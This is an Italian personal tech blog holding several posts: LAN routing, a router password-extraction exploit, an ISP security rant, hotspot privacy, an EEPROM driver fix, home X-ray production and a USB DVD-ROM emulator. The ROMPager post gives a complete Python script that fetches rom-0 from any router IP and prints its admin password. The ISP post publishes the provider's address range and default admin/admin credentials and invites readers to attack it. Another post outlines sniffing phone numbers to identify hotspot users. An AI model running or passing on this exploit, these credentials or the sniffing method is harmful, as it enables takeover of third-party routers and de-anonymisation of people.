Check out the new blog at http://linuxehacking.ovh , this one will no longer be updated

sabato 1 febbraio 2014

Routing da, alla rete di provenienza con Linux

Molto spesso può capitare di voler fare il forwarding dalla LAN alla LAN, ovvero avere un router che accetta i pacchetti in ingresso, e li reimmette sulla stessa rete magari eseguendoci sopra il load balancing o traffic shaping, ad esempio potrei avere una lan composta da un router alice, un router fastweb ed un server su cui ho a disposizione una sola interfaccia ethernet, ad occhio un sistemista non smanettone vi direbbe subito che dovete mettere altre 2 interfacce di rete sul server o non si può fare, FALSO.

Ora tralasciando la parte di traffic shaping e network balancing che è adeguatamente documentata altrove, vediamo come è possibile la cosa a livello teorico


Prendiamo in esempio la rete 192.168.0.0/24
Mettiamo che il server dove volete fare routing sia configurato per avere gateway predefinito 192.168.0.1 (Il router alice ) e che il server abbia indirizzo 192.168.0.2, teoricamente se io da una macchina con configurato gatweay 192.168.0.2, invio un pacchetto che ha come indirizzo di destinazione ad esempio 8.8.4.4 e come mac address di destinazione quello del server 192.168.0.2, il server lo riceverà, gli cambia di nuovo mac address di destinazione con quello del suo gateway e lo rispedisce in LAN di nuovo.
Se proviamo a farlo praticamente ci accorgiamo di una cosa però...

tiziano@tiziano-VPCF12Z1E ~ $ ping 8.8.4.4
PING 8.8.4.4 (8.8.4.4) 56(84) bytes of data.
64 bytes from 8.8.4.4: icmp_seq=1 ttl=46 time=99.5 ms
From 192.168.0.2: icmp_seq=2 Redirect Host(New nexthop: 192.168.0.1)
From 192.168.0.2 icmp_seq=2 Redirect Host64 bytes from 8.8.4.4: icmp_seq=2 ttl=46 time=71.9 ms
64 bytes from 8.8.4.4: icmp_seq=3 ttl=46 time=115 ms







Quello che sta succedendo in pratica è che il server sta dicendo al client che deve contattare direttamente 192.168.0.1 invece di lui, e questa cosa non va assolutamente bene perché se andiamo a fare un traceroute ci accorgiamo che il nostro server che dovrebbe fare traffic shaping oppure load balancing è stato bypassato, il traceroute partirà direttamente dal router di alice.

Questo problema si risolve disabilitando l'invio di pacchetti ICMP Redirect Host, utilizzando
sysctl -w net.ipv4.conf.all.send_redirects=0
E per ogni interfaccia
sysctl -w net.ipv4.conf.INTERFACCIA.send_redirects=0


http://www.cisco.com/en/US/tech/tk365/technologies_tech_note09186a0080094702.shtml Qui è documentato l'utilizzo del pacchetto ICMP Redirect in modo dettagliato

Una volta risolto questo problema al quale non sempre è scontata la soluzione dato che sono pochi ad avere setup funzionanti del genere, il resto della configurazione è praticamente uguale ad un normale routing, ovviamente quando si lavora sulle regole iptables , essendo l'interfaccia di ingresso ed uscita la stessa , si deve lavorare sugli indirizzi per distinguere i pacchetti

giovedì 16 gennaio 2014

Hacking dei router che utilizzano ROMPager completamente da remoto

Gran parte dei router TP-Link,ZyXel,Huawei ed alcuni linksys sono soggetti ad una vulnerabilità che permette di ottenere la password di amministratore DA REMOTO , lo script allegato permette, passandogli l'ip del router come parametro di tirare fuori la password instantaneamente

import os
import sys
from struct import *
import urllib2
 
##############################################################
# Lempel-Ziv-Stac decompression
# BitReader and RingList classes
#
# Copyright (C) 2011  Filippo Valsorda - FiloSottile
# filosottile.wiki gmail.com - www.pytux.it
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
#
##############################################################
 
import collections
 
class BitReader:
    """
    Gets a string or a iterable of chars (also mmap)
    representing bytes (ord) and permits to extract
    bits one by one like a stream
    """
    def __init__(self, bytes):
        self._bits = collections.deque()
 
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
 
    def getBit(self):
        return self._bits.popleft()
 
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
 
    def getByte(self):
        return self.getBits(8)
 
    def __len__(self):
        return len(self._bits)
 
class RingList:
    """
    When the list is full, for every item appended
    the older is removed
    """
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length
 
    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True
 
    def get(self):
        return self.__data__
 
    def size(self):
        return len(self.__data__)
 
    def maxsize(self):
        return self.__max__
 
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]
 
def LZSDecompress(data, window = RingList(2048)):
    """
    Gets a string or a iterable of chars (also mmap)
    representing bytes (ord) and an optional
    pre-populated dictionary; return the decompressed
    string and the final dictionary
    """
    reader = BitReader(data)
    result = ''
 
    while True:
        bit = reader.getBit()
        if not bit:
            char = reader.getByte()
            result += chr(char)
            window.append(char)
        else:
            bit = reader.getBit()
            if bit:
                offset = reader.getBits(7)
                if offset == 0:
                    # EOF
                    break
            else:
                offset = reader.getBits(11)
 
            lenField = reader.getBits(2)
            if lenField < 3:
                lenght = lenField + 2
            else:
                lenField <<= 2
                lenField += reader.getBits(2)
                if lenField < 15:
                    lenght = (lenField & 0x0f) + 5
                else:
                    lenCounter = 0
                    lenField = reader.getBits(4)
                    while lenField == 15:
                        lenField = reader.getBits(4)
                        lenCounter += 1
                    lenght = 15*lenCounter + 8 + lenField
 
            for i in xrange(lenght):
                char = window[-offset]
                result += chr(char)
                window.append(char)
 
    return result, window


class Object:
  def __init__(self,blockdata,data):
    self.name = data[:14].strip("\x00")
    self.uncompsize = unpack(">H",data[14:16])[0]
    self.compsize = unpack(">H",data[16:18])[0]
    self.offset = unpack(">H",data[18:20])[0]
    print "Object",self.name ,self.uncompsize,self.compsize,self.offset
    self.data = blockdata[self.offset:self.offset+self.compsize]
    #print [self.data]
    if self.name == "spt.dat":
      data2 = self.data
      self.data = ""
      index = 12
      while index < self.uncompsize:
        orgsize = unpack(">H",data2[index:index+2])[0]
        rawsize = unpack(">H",data2[index+2:index+4])[0]
        #print orgsize,rawsize
        self.data += LZSDecompress(data2[index+4:index+4+rawsize])[0]
        index += rawsize
      print "Password:",self.data[20:].split("\x00")[0]
class Block:
  def __init__(self,data):
    self.blocknumber = ord(data[0])
    self.unk1 = ord(data[1])
    self.objectcount = unpack(">H",data[2:4])[0]
    self.blocklength = unpack(">H",data[4:6])[0]
    print "Block:",self.blocknumber , self.objectcount , self.blocklength
    self.objects = []
    for i in range(0,self.objectcount):
      self.objects.append(Object(data,data[6+20*i:]))
blocks = []
f = urllib2.urlopen("http://%s/rom-0"%sys.argv[1])
# = open(sys.argv[1],"rb")
d = f.read()
mem = Block(d[0x0:])
a = Block(d[0x2000:])

Le nazioni che principalmente hanno questi router vulnerabili sono Romania, Algeria, Egitto, Colombia, Brasile, Albania.
Per favore comunque evitate di farci danni con questo script, è un exploit vecchio di circa 1 anno e mezzo che trovai in seguito ad un attacco DDoS subito su un server privato di world of warcraft , e che nonostante abbia segnalato agli ISP è stato del tutto ignorato.
Lo posto solo ora perché ho visto che ci ha già pensato un altro a scoperchiare il vaso di pandora , solo che ha fatto il furbo , ed ha nascosto tutta la parte per decodificare il file rom-0 che io includo invece qui

giovedì 2 gennaio 2014

La sicurezza dell'ISP WiMax che utilizzo

Scrivo questo post, perché oggi è successo un evento che ha del ridicolo diciamo.
Ero connesso ad Azzurra.org ( Network IRC , se non sapete cosa sia è inutile andare avanti nella lettura ) e stavo giocando a No more room in hell , con la linea Alice ADSL, e vedo che inizio ad avere ping che superano i 200 ms abbondantemente.
Così ho pensato di switchare questo pc da dove stavo giocando verso il router che punta sul WiMax, e fin qui tutto bene a livello di gioco i ping sono calati, ma ho notato un simpatico messaggio su IRC

* *** Notice -- This server runs an open proxy monitor to prevent abuse.
* *** Notice -- If you see various connections from proxy-check.azzurra.org or 85.94.194.111
* *** Notice -- please disregard them, as they are the detector in action.
* *** Notice -- For more information please visit http://www.azzurra.org/kline.php?mod=socks-proxy
* *** Notice -- Your connection is restricted! For more information please visit http://www.azzurra.org/restrict.html

In pratica mi dice che sono stato buttato fuori perché ho un proxy socks aperto !!!

Allora visto ciò ho fatto un nmap dalla linea alice , verso l'indirizzo pubblico della linea wimax ( AriaDSL )...
Quello che ne esce fuori ha dell'incredibile


21/tcp   open     ftp            GNU Inetutils FTPd 1.4.1
22/tcp   open     ssh            Dropbear sshd 0.52 (protocol 2.0)
| ssh-hostkey: 1024 74:7b:6e:f4:b0:fd:3f:83:fe:60:62:d4:2c:38:e6:9a (DSA)
|_1040 3d:f3:00:97:78:b4:b0:2b:ee:e7:69:87:39:44:00:b3 (RSA)
80/tcp   open     http?
|_http-title: Wimax CPE Configuration
81/tcp   filtered hosts2-ns
443/tcp  open     ssl/https?
|_sslv2: server still supports SSLv2
|_http-title: Wimax CPE Configuration
| ssl-cert: Subject: commonName=MatrixSSL Sample Server Cert/organizationName=PeerSec Networks/stateOrProvinceName=WA/countryName=US
| Not valid before: 2006-03-13 08:13:34
|_Not valid after:  2007-03-13 08:13:34
2500/tcp filtered rtsserv
2601/tcp open     zebra          Quagga routing software
6789/tcp open     ibm-db2-admin?
9999/tcp open     abyss?


A parte la porta 81 che l'ho aperta io per dare accesso ad una cartella dropbox ad un'altra persona senza ricorrere a dropbox , le altre al di fuori della 80 e della 443 neppure sapevo fossero aperte.
In pratica su questo accrocco che mi hanno dato c'è sulla WAN
Un server FTP ( A che cazzo serve??? )
Un server SSH attivo ( Vedere sopra )
L'interfaccia web ( meglio non commentare )
Un'altra interfaccia web che non so a che cavolo serva
Zebra ( Che minchia ci sta a fare su una CPE? , e soprattutto sulla WAN? )
La 6789 e la 9999 poi boh , non so neanche cosa siano , ho provato a connettermi con telnet ma non danno nessun output
Ora la cosa bella viene sull'interfaccia web, ebbene si perché questi "poco svegli" per non andare su offese pesanti, cosa hanno fatto...
Hanno dato alla gente questi CPE con nome utente e password di default admin/admin CON L'INTERFACCIA WEB APERTA SULLA WAN , Geniale vero?
E non solo quella , quella combinazione admin-admin funziona anche sull'SSH, ed inoltre anche la rete wireless di questo accrocco è di default senza password , e nessun analfabeta informatico nella media italiana si sognerebbe di cambiare password ovviamente.

Avete capito bene quindi, nome utente e password di default admin/admin CON L'INTERFACCIA WEB APERTA SULLA WAN

Il loro spazio di indirizzi IPV4 è 159.20.176.0/21 , fategli quello che vi pare o dateli a chi vi pare, così forse capiscono che hanno dei leggerissimi problemi di sicurezza, io glie l'ho detto diverse volte che non voglio quell'interfaccia web del cazzo aperta sulla WAN e che è vulnerabile, gli ho fatto vedere in diretta ad un loro installatore mentre entravo da remoto sul suo CPE,  ma non mi ascoltano.

Io ho cambiato password , se poi riesce qualcuno ad entrarmi lo stesso sticavoli, tanto fra la mia rete e quello schifo ci ho messo un altro router che non ha falle del genere.

Aggiunta delle  22:47 , dimenticavo
AriaDSL inoltre fornisce apparati in completa violazione della licenza GPL in quanto sul loro sito , ne tantomeno su quella della Huawei sembra possibile scaricare i sorgenti dei software opensource utilizzati nei loro CPE , tra cui di sicuro Linux , quagga , e GNU Inetutils

sabato 9 novembre 2013

Hotspot senza cifratura e smartphone? Brutta accoppiata per la privacy

Torno di nuovo a scrivere per i problemi riguardanti la privacy con gli smartphone, perché si aggiunge, oltre al noto problema della scansione attiva e quindi dell'invio di probe diretti ad access point, anche un altro problema più grave originante da Whatsapp e Facebook, in pratica con tecniche di livello veramente base è possibile conoscere il numero di cellulare di chi è connesso all'hotspot, e dal numero di cellulare conoscere in una buona parte di casi, il profilo facebook.
Tutto ciò funziona in quanto Whatsapp, ogni volta che si riconnette invia un pacchetto contente la stringa "WAUTH-2", il quale contiene il numero di telefono completamente in chiaro, avete letto bene, COMPLETAMENTE IN CHIARO.
È sufficiente quindi mettere una banale interfaccia wireless in modalità monitor sul canale dell'access point ed aspettare che qualcuno apra l'applicazione whatsapp sul proprio cellulare.
Non appena lo farà, è possibile estrapolare dal pacchetto il numero di telefono, in modo banale, e con questo, utilizzando la pagina https://www.facebook.com/search.php?q=numero , nel 50% dei casi o anche più si riesce a risalire a nome e cognome e profilo facebook.
Quindi lo stato attuale delle cose è che, semplicemente con un attacco di tipo passivo ( niente man in the middle o simili ), è possibile ottenere

Numero di cellulare
Modello di cellulare
Nome e cognome
Profilo facebook
Posti più frequentati
Indirizzo di casa approssimato( successivamente raffinabile una volta nel raggio dell'access point )
Associazione mac address - persona , che quindi porta al tracciamento del resto del traffico

Forum: http://linuxehacking.info/viewtopic.php?f=7&t=2 (Sorgenti dello sniffer inclusi )

giovedì 19 settembre 2013

Recuperare un'interfaccia Ralink a 5 Ghz con EEPROM danneggiata senza riprogrammare il chip

Molti mesi fa , mi si danneggiò la EEPROM della mia ALFA dual-band, la situazione inizialmente sembrava tragica, la periferica non veniva neanche più riconosciuta ( i descrittori usb contenuti nella eeprom erano danneggiati ).
La eeprom di questa periferica difatti , nonostante tramite USB sia possibile leggerne i primi 0x110 byte , in realtà è da 0x400 byte ed all'indirizzo 0x200 inizia la parte dei descrittori USB la quale è utilizzata dal chipset.
Una volta dissaldata la eeprom si può notare che l'interfaccia wireless funziona di nuovo, però le funzionalità dual-band non ci sono più, ed anche il mac address è danneggiato.
Dato che i tentativi che ho fatto di sostituire la eeprom , un po' per sfortuna , un po' per la mia poca esperienza a lavorare in SMD sono andati male , ho tentato di modificare il driver, in modo che nel caso il chip id della eeprom sia 0xffff ( ovvero quando il chip non è presente ) , vada a caricare un file in /lib/firmware in modo da riconoscere correttamente l'id del chip RF ed altri parametri ( tipo le antenne da utilizzare )

Ho modificato il file rt2800usb.c del driver rt2x00 , modificando la funzione rt2800usb_read_eeprom nel seguente modo

static int rt2800usb_read_eeprom(struct rt2x00_dev *rt2x00dev)
{
int retval;
    mm_segment_t fs;
    struct file *f;
if (rt2800_efuse_detect(rt2x00dev))
retval = rt2800_read_eeprom_efuse(rt2x00dev);
else
{
  
retval = rt2x00usb_eeprom_read(rt2x00dev, rt2x00dev->eeprom,
      EEPROM_SIZE);
        if ( rt2x00dev->eeprom[0] == 0xffff ) //No eeprom chip
        {
            printk("rt2800usb: connected device has broken/missing eeprom chip\n");
            f = filp_open("/lib/firmware/rt2800usb_eeprom.bin", O_RDONLY, 0);
            if ( IS_ERR(f) )
            {
                printk("rt2800usb: Cannot load eeprom from /lib/firmware/rt2800usb_eeprom.bin\n");
                return -1;
            }
            fs = get_fs();
            set_fs(get_ds());
            f->f_op->read(f,(char*)rt2x00dev->eeprom,EEPROM_SIZE,&f->f_pos);
            set_fs(fs);
  
            filp_close(f,NULL);
            printk("rt2800usb: Loaded eeprom override\n");
        }
     }

return retval;
}

In questo modo il driver al collegamento di una periferica rt2800usb andrà a cercare un file in /lib/firmware/rt2800usb_eeprom.bin contenente la EEPROM da utilizzare.
Purtroppo ci sono delle limitazioni, ad esempio non si possono usare più ralink 2800usb con eeprom danneggiata nello stesso sistema.



Allego di seguito la eeprom della mia ALFA , dovete assolutamente modificare il mac address con il vostro , oppure metterne uno casuale ( è consigliabile lasciare inalterati i primi 3 byte )

0000:0000 | 70 27  04 01  00 C0  CA 32 | p'...ÀÊ2
0000:0008 | B7 FE  FF FF  FF FF  FF FF | ·Dÿÿÿÿÿÿ
0000:0010 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0018 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0020 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0028 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0030 | FF FF  FF FF  12 04  20 00 | ÿÿÿÿ.. .
0000:0038 | FF FF  15 01  FF FF  FF FF | ÿÿ..ÿÿÿÿ
0000:0040 | FF FF  FF FF  09 04  00 00 | ÿÿÿÿ....
0000:0048 | 00 04  00 00  00 03  FF FF | ......ÿÿ
0000:0050 | FF FF  02 02  02 02  02 03 | ÿÿ......
0000:0058 | 03 03  03 03  03 03  03 03 | ........
0000:0060 | 00 00  00 00  00 00  00 00 | ........
0000:0068 | 00 00  00 00  00 00  FF FF | ......ÿÿ
0000:0070 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0078 | 06 06  06 06  06 06  06 06 | ........
0000:0080 | 06 06  06 06  05 05  05 05 | ........
0000:0088 | 05 05  05 05  05 05  06 06 | ........
0000:0090 | 06 06  06 06  06 06  06 06 | ........
0000:0098 | 06 06  07 FF  FF FF  FF FF | ...ÿÿÿÿÿ
0000:00A0 | FF FF  FF FF  FF FF  00 00 | ÿÿÿÿÿÿ..
0000:00A8 | 00 00  00 00  00 00  00 00 | ........
0000:00B0 | 00 00  00 00  00 00  00 00 | ........
0000:00B8 | 00 00  00 00  00 00  00 00 | ........
0000:00C0 | 00 00  00 00  00 00  00 00 | ........
0000:00C8 | 00 FF  FF FF  FF FF  FF FF | .ÿÿÿÿÿÿÿ
0000:00D0 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:00D8 | FF FF  FF FF  FF FF  88 88 | ÿÿÿÿÿÿ..
0000:00E0 | 99 AA  88 66  AA AA  88 66 | .ª.fªª.f
0000:00E8 | AA AA  88 66  AA AA  88 66 | ªª.fªª.f
0000:00F0 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:00F8 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0100 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0108 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0110 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0118 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0120 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0128 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0130 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0138 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0140 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0148 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0150 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0158 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0160 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0168 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0170 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0178 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0180 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0188 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0190 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0198 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:01A0 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:01A8 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:01B0 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:01B8 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:01C0 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:01C8 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:01D0 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:01D8 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:01E0 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:01E8 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:01F0 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:01F8 | FF FF  FF FF  FF FF  FF FF | ÿÿÿÿÿÿÿÿ
0000:0200 | 12 01  00 02  00 00  00 40 | .......@
0000:0208 | 8F 14  70 27  01 01  01 02 | ..p'....
0000:0210 | 03 01  0A 06  00 02  00 00 | ........
0000:0218 | 00 40  01 00  09 02  35 00 | .@....5.
0000:0220 | 01 01  00 80  E1 09  04 00 | ....á...
0000:0228 | 00 07  FF FF  FF 05  07 05 | ..ÿÿÿ...
0000:0230 | 81 02  00 02  00 07  05 01 | ........
0000:0238 | 02 00  02 00  07 05  02 02 | ........
0000:0240 | 00 02  00 07  05 03  02 00 | ........
0000:0248 | 02 00  07 05  04 02  00 02 | ........
0000:0250 | 00 07  05 05  02 00  02 00 | ........
0000:0258 | 07 05  06 02  00 02  00 B8 | .......¸
0000:0260 | 11 7D  08 0D  00 00  00 00 | .}......
0000:0268 | 54 69  7A 69  61 6E  6F 42 | TizianoB
0000:0270 | 61 63  6F 63  63 6F  48 41 | acoccoHA
0000:0278 | 43 4B  20 20  00 00  00 00 | CK  ....
0000:0280 | 12 01  00 02  00 00  00 40 | .......@
0000:0288 | 8F 14  70 28  01 00  06 07 | ..p(....
0000:0290 | 08 01  0A 06  00 02  00 00 | ........
0000:0298 | 00 40  01 00  09 02  20 00 | .@.... .
0000:02A0 | 01 01  00 80  E1 09  04 00 | ....á...
0000:02A8 | 00 02  08 06  50 0A  07 05 | ....P...
0000:02B0 | 81 02  00 02  00 07  05 01 | ........
0000:02B8 | 02 00  02 00  00 00  00 00 | ........
0000:02C0 | 00 00  00 00  00 00  00 00 | ........
0000:02C8 | 00 00  00 00  00 00  00 00 | ........
0000:02D0 | 00 00  00 00  00 00  00 00 | ........
0000:02D8 | 00 00  00 00  00 00  00 00 | ........
0000:02E0 | 00 00  3F 00  00 00  00 00 | ..?.....
0000:02E8 | 00 00  00 00  00 00  00 00 | ........
0000:02F0 | 00 60  70 A2  FF A2  60 70 | .`p¢ÿ¢`p
0000:02F8 | A2 FF  A2 FF  FF FF  FF FF | ¢ÿ¢ÿÿÿÿÿ
0000:0300 | 04 03  09 04  00 00  00 00 | ........
0000:0308 | 00 00  00 00  00 00  00 00 | ........
0000:0310 | 00 00  00 00  00 00  00 00 | ........
0000:0318 | 00 00  00 00  00 00  00 00 | ........
0000:0320 | 00 00  00 00  00 00  00 00 | ........
0000:0328 | 00 00  00 00  00 00  00 00 | ........
0000:0330 | 00 00  00 00  00 00  00 00 | ........
0000:0338 | 00 00  00 00  00 00  00 00 | ........
0000:0340 | 00 00  00 00  00 00  00 00 | ........
0000:0348 | 00 00  00 00  00 00  00 00 | ........
0000:0350 | 00 00  00 00  00 00  00 00 | ........
0000:0358 | 00 00  00 00  00 00  00 00 | ........
0000:0360 | 0E 03  52 00  61 00  6C 00 | ..R.a.l.
0000:0368 | 69 00  6E 00  6B 00  00 00 | i.n.k...
0000:0370 | 1E 03  38 00  30 00  32 00 | ..8.0.2.
0000:0378 | 2E 00  31 00  31 00  20 00 | ..1.1. .
0000:0380 | 6E 00  20 00  57 00  4C 00 | n. .W.L.
0000:0388 | 41 00  4E 00  00 00  00 00 | A.N.....
0000:0390 | 04 03  09 04  00 00  00 00 | ........
0000:0398 | 00 00  00 00  00 00  00 00 | ........
0000:03A0 | 00 00  08 03  31 00  2E 00 | ....1...
0000:03A8 | 30 00  00 00  00 00  00 00 | 0.......
0000:03B0 | 00 00  00 00  00 00  00 00 | ........
0000:03B8 | 00 00  00 00  00 00  00 00 | ........
0000:03C0 | 00 00  00 00  00 00  00 00 | ........
0000:03C8 | 00 00  00 00  00 00  00 00 | ........
0000:03D0 | 00 00  00 00  00 00  00 00 | ........
0000:03D8 | 00 00  00 00  00 00  00 00 | ........
0000:03E0 | 00 00  00 00  00 00  00 00 | ........
0000:03E8 | 00 00  00 00  00 00  00 00 | ........
0000:03F0 | 00 00  00 00  00 00  00 00 | ........

0000:03F8 | 00 00  00 00  00 00  00 00 | ........

martedì 3 settembre 2013

[FISICA] Produrre raggi X in casa senza ricorrere a componenti costosi

Introduzione

Quello che illustrerò di seguito è come produrre raggi X in casa utilizzando componenti facilmente reperibili, tuttavia i raggi X prodotti, non sono assolutamente sufficienti per fare una lastra, è utile questo esperimento solo per fini didattici.

Pericoli


I raggi X, in modo simile ai raggi ultravioletti nelle ore di punta, possono creare ustioni o nel peggior dei casi tumori, la differenza sostanziale è che i raggi X spesso vanno più in profondità , quindi le eventuali ustioni sono molto più gravi.
Utilizzando una valvola termoionica con accoppiamento capacitivo sul catodo, è difficile produrre dosi pericolose, tuttavia è altamente consigliabile non trovarsi nella stanza quando l'apparecchiatura è attiva.

Funzionamento

Per produrre i raggi X è necessario ottenere una collisione di elettroni sufficientemente accelerati su un bersaglio metallico.
Gli elettroni possono essere facilmente accelerati da una differenza di potenziale applicata ai 2 estremi di una valvola termoionica.
Viene usata una valvola termoionica, perché è il tubo con vuoto spinto più facilmente reperibile e più economico.
Nella figura in alto:
1: Valvola termoionica
2: Sonda Beta+Gamma del contatore geiger SV-500 schermata e collegata a terra
3:Webcam USB con ottica rimossa, anche essa schermata e collegata a terra

Il cavo rosa è il catodo, ed è collegato tramite un pezzo di carta stagnola sulla parte superiore della valvola, in questo modo gli elettroni provenienti dal catodo andranno a collidere sui vari elementi metallici della valvola collegati all'anodo e quindi produrranno raggi X

1: Trasformatore di riga TV 
2: Trasformatore avvolto su nucleo di un altro trasformatore di riga , serve ad alzare il voltaggio dell'inverter ZVS
3:Condensatore necessario a limitare la corrente per evitare di rompere il vetro del tubo termoionico
4:Driver ZVS di Mazzilli
5: Collegamento a terra
Lo scopo di questo circuito è di fornire una tensione di almeno 50-60000 volt per accelerare sufficientemente gli elettroni all'interno del tubo
È inutile riportare il numero di giri dei vari avvolgimenti in quanto andranno trovati in ogni caso sperimentalmente.
Questo è quanto basta per produrre raggi X, per verificare che vengano prodotti viene usato un contatore geiger con una sonda sensibile ai raggi beta la quale deve essere assolutamente schermata e collegata a terra.
Una volta realizzato questo esperimento si possono condurre vari esperimenti come ad esempio testare la penetrazione dei raggi X nei vari materiali, oppure sperimentare con altri tipi di rivelatori come ho fatto io, provando con il CCD di una webcam.
Nel mio canale youtube ( http://youtube.com/lo9765 ) ho caricato un video dove viene mostrato il tutto in funzione e a breve ne verrà caricato un altro dove viene mostrato l'uso del sensore CCD come rivelatore di radiazioni.
Anche nel video già presente alla terza volta che alimento il tutto è possibile notare in alto a destra un puntino bianco su un fotogramma il quale indica che un fotone di raggi X ha colpito il sensore CCD del cellulare.

venerdì 12 luglio 2013

How To: Emulatore DVD-ROM Hardware USB

Cosa è un emulatore DVD-ROM hardware

Un emulatore DVD-ROM hardware è un dispositivo che svolge un compito simile a quello di programmi come Daemon Tools o un device loop su linux, ma lo svolge presentandosi come un vero e proprio drive USB dvd-rom.
Le potenzialità di ciò sono che non può essere beccato dai DRM dei videogiochi e permette di fare il boot dal BIOS di qualsiasi ISO senza usare programmi come unetbootin.

Occorrente

  • BeagleBone Black
  • Una o più macchine con Linux possibilmente decenti ( se si intende ricompilare da se il driver )
  • Un minimo di praticità nell'uso di Linux, e nella compilazione di kernel/drivers
La beagleboneblack esce attualmente con Linux 3.8.13 , per utilizzarla in questo modo, onde evitare problemi con BIOS poco tolleranti, va eliminato il driver g_multi.ko
Una volta eliminato quel driver e riavviata la board è possibile scaricare il driver per il kernel precompilato della beaglebone qui g_mass_storage.ko .
Per utilizzare il driver è sufficiente eseguire il comando come root:
#insmod g_mass_storage.ko file=/percorsoimmagineiso cdrom=1 ro=1

Una volta eseguito il comando dopo pochi secondi dovrebbe comparire sul PC al quale è collegata la beaglebone un lettore DVD con dentro il "dischetto"

Kernel non standard e sorgenti delle modifiche

Per poter utilizzare immagini ISO > 2.4 GB ho dovuto applicare delle modifiche al driver del gadget mass storage che riporto di seguito:

commit f6037e02d14c57531efc14074aa59b0054227f8c
Author: Tiziano Bacocco <tiziano@localhost.localdomain>
Date:   Fri Jul 12 13:04:43 2013 +0200

    DVD-ROM Patch

diff --git a/drivers/usb/gadget/f_mass_storage.c b/drivers/usb/gadget/f_mass_storage.c
index 5d027b3..cb87b4a 100644
--- a/drivers/usb/gadget/f_mass_storage.c
+++ b/drivers/usb/gadget/f_mass_storage.c
@@ -1192,6 +1192,7 @@ static int do_read_capacity(struct fsg_common *common, struct fsg_buffhd *bh)
  return -EINVAL;
  }
 
+ printk("readcap: %ld\n",curlun->num_sectors-1);
  put_unaligned_be32(curlun->num_sectors - 1, &buf[0]);
  /* Max logical block */
  put_unaligned_be32(curlun->blksize, &buf[4]);/* Block length */
@@ -1220,6 +1221,63 @@ static int do_read_header(struct fsg_common *common, struct fsg_buffhd *bh)
  return 8;
 }
 
+static int do_read_disc_information(struct fsg_common* common, struct fsg_buffhd * bh)
+{
+ struct fsg_lun *curlun = common->curlun;
+ if (common->cmnd[1] & ~0x02) { /* Mask away MSF */
+ curlun->sense_data = SS_INVALID_FIELD_IN_CDB;
+ return -EINVAL;
+ }
+ u8* outbuf = (u8*)bh->buf;
+ memset(outbuf,0,34);
+ outbuf[1] = 32;
+ outbuf[2] = 0xe; /* last session complete, disc finalized */
+ outbuf[3] = 1;   /* first track on disc */
+ outbuf[4] = 1;   /* # of sessions */
+ outbuf[5] = 1;   /* first track of last session */
